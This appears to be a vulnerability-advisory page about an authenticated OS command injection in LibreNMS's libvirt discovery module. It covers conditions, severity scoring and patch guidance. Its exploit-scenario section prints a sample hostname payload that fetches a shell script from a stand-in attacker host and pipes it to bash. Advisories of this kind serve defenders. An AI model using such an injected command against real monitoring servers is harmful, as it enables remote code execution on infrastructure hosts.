Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate as LibreNMS admin
-
DeliverySet device hostname with shell metacharacters
-
ExploitConfirm enable_libvirt=true is configured
-
ExecutionTrigger or await scheduled discovery run
-
PersistHostname concatenated unsanitized into exec() call
-
ImpactArbitrary OS commands execute as discovery worker
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Three conditions must be simultaneously true for exploitation: (1) the attacker holds a valid LibreNMS administrator account - lower-privileged LibreNMS user roles cannot modify device hostnames in a way that reaches the vulnerable code path; (2) the libvirt discovery feature is explicitly enabled, meaning enable_libvirt=true has been set in the LibreNMS configuration, which is a non-default state requiring deliberate operator action; and (3) the LibreNMS discovery worker executes a discovery cycle against the crafted device, either via the scheduled poller or a manually triggered discovery run. Deployments without libvirt enabled - the majority of LibreNMS installations - are not exposed to this code path. The impact is bounded by the OS-level privileges of the discovery worker process user account. |
| Impact | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:H/UI:N) reflects a network-accessible attack requiring administrator-level privileges with no additional complexity - the high privilege requirement is the primary mitigating factor against opportunistic exploitation. The subsequent-system metrics (SC:L/SI:L/SA:L) suggest impact is bounded by the discovery worker process, limiting lateral reach without further OS-level escalation. EPSS data was not included in the provided intelligence, so quantitative exploitation probability cannot be assessed; the CVE is not in CISA KEV and no public exploit code has been identified. Despite requiring admin access, the practical risk is not trivial: LibreNMS admin credentials are frequently shared across multiple team members, and any compromised or malicious admin can stage arbitrary OS execution without additional exploitation steps - even a mid-sized network operations team should treat upgrading to 26.4.0 as urgent rather than routine patching, particularly given the low attack complexity once the privilege threshold is cleared. |
| Exploit ScenarioDerived | An attacker who has obtained LibreNMS admin credentials - via phishing, credential reuse, or insider access - edits a device record and sets the hostname to a value containing shell metacharacters such as '; curl http://attacker.example/shell.sh | bash; #'. When the LibreNMS discovery scheduler next runs against that device with libvirt discovery enabled, VminfoLibvirt.php concatenates the hostname into an exec() call, and the injected commands execute under the discovery worker's OS user identity. No public exploit code has been identified, but the technique is well-documented within the CWE-78 class and requires no specialized tooling. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 01, 2026
OS command injection in LibreNMS's libvirt discovery module (VminfoLibvirt.php) enables any authenticated administrator to execute arbitrary OS commands on the discovery worker host by setting a crafted device hostname. Affected deployments span LibreNMS 23.10.0 through 26.3.x wherever the enable_libvirt option is explicitly set to true; the vendor-released fix is version 26.4.0. No public exploit code or CISA KEV listing has been identified at time of analysis, but the attack pattern is straightforward for any actor holding admin credentials.
RemediationAI
Upgrade LibreNMS to version 26.4.0 or later, which resolves the injection by applying proper shell argument escaping in VminfoLibvirt.php; the advisory at https://github.com/librenms/librenms/security/advisories/GHSA-wff2-9gjr-95f3 documents the fix. If immediate upgrade is not feasible, disable libvirt discovery by setting enable_libvirt=false in the LibreNMS configuration - this eliminates the vulnerable code path entirely at the cost of losing VM inventory visibility via libvirt for all managed devices. As an additional hardening measure, enforce strict access controls on LibreNMS admin accounts (multi-factor authentication, IP allowlisting, session timeouts) to reduce the likelihood that an admin credential is compromised and used to stage the attack; this is a compensating control, not a substitute for patching.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
LibreNMS is an open-source auto-discovering network monitoring platform built in PHP (CPE: cpe:2.3:a:librenms:librenms:*:*:*:*:*:*:*:*). The vulnerability resides in VminfoLibvirt.php, which orchestrates virtual machine discovery via libvirt by invoking shell commands - ssh, virsh list, virsh dumpxml, and virsh domstate - through PHP's exec() function. The device hostname, retrieved as $this->getDevice()->hostname, is concatenated directly into these command strings without escapeshellarg() sanitization or array-based argument separation, making it trivially injectable with shell metacharacters. This is a textbook instance of CWE-78 (Improper Neutralization of Special Elements used in an OS Command), where attacker-controlled data crosses a trust boundary into a shell interpreter without escaping. The vulnerability was introduced in version 23.10.0 when libvirt discovery support was added.
Know when Librenms gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
Admin-level privilege required (PR:H); scope changes (S:C) because exec() executes OS commands outside the LibreNMS application boundary on the underlying host.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
Lifecycle Timeline
2DescriptionCVE.org
LibreNMS versions >= 23.10.0 and < 26.2.0 (fixed in 26.4.0) contain an authenticated OS command injection vulnerability in libvirt discovery. When libvirt support is enabled (enable_libvirt=true), the device hostname ($this->getDevice()->hostname) is concatenated into shell commands (ssh, virsh list/dumpxml/domstate) in VminfoLibvirt.php and passed to exec() without escapeshellarg() or argument separation. An authenticated admin can set a crafted device hostname to inject arbitrary OS commands, leading to remote code execution in the discovery worker context.
Technical POC Analysis
Classic CWE-78 OS command injection in the LibreNMS libvirt discovery module, file VminfoLibvirt.php (module path shown in the advisory as App\Discovery\...\VminfoLibvirt.php; the excerpt does not pr…
Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.
Executive ViewAI
LibreNMS versions 23.10.0 through 26.3.x with libvirt discovery enabled contain a command injection vulnerability in the discovery worker module allowing authenticated administrators to execute arbitrary OS commands on the monitoring infrastructure host. Organizations running affected versions face potential compromise of critical network monitoring systems, creating risk of operational disruption and lateral movement into connected infrastructure.
Apply vendor patch: upgrade LibreNMS to version 26.4.0 or later. If immediate patching cannot be deployed, disable the enable_libvirt configuration setting until the upgrade is completed.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
An issue was discovered in LibreNMS through 1.47. Rated high severity (CVSS 7.2), this vulnerability is remotely exploit
Librenms 21.11.0 is affected by a path manipulation vulnerability in includes/html/pages/device/showconfig.inc.php. Rate
An issue was discovered in LibreNMS through 1.47. Rated critical severity (CVSS 9.8), this vulnerability is remotely exp
Authentication bypass in the LibreNMS REST API (all versions before 26.8.0) lets unauthenticated remote attackers reach
SQL injection in LibreNMS 25.12.0 and below. PoC and patch available.
An issue was discovered in LibreNMS through 1.47. Rated critical severity (CVSS 9.1), this vulnerability is remotely exp
SQL injection in LibreNMS versions 25.12.0 and below allows authenticated users to extract sensitive database informatio
LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. Rated high severity (CVSS 8.8), this vulnera
An issue was discovered in LibreNMS before 1.65.1. Rated high severity (CVSS 8.8), this vulnerability is remotely exploi
An issue was discovered in LibreNMS 1.50.1. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable,
An issue was discovered in LibreNMS through 1.47. Rated high severity (CVSS 8.8), this vulnerability is remotely exploit
Command injection in LibreNMS's Virtualization Discovery module enables authenticated administrator-level users to execu
EUVD-2026-69031
GHSA-jjvr-265m-qmq9
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB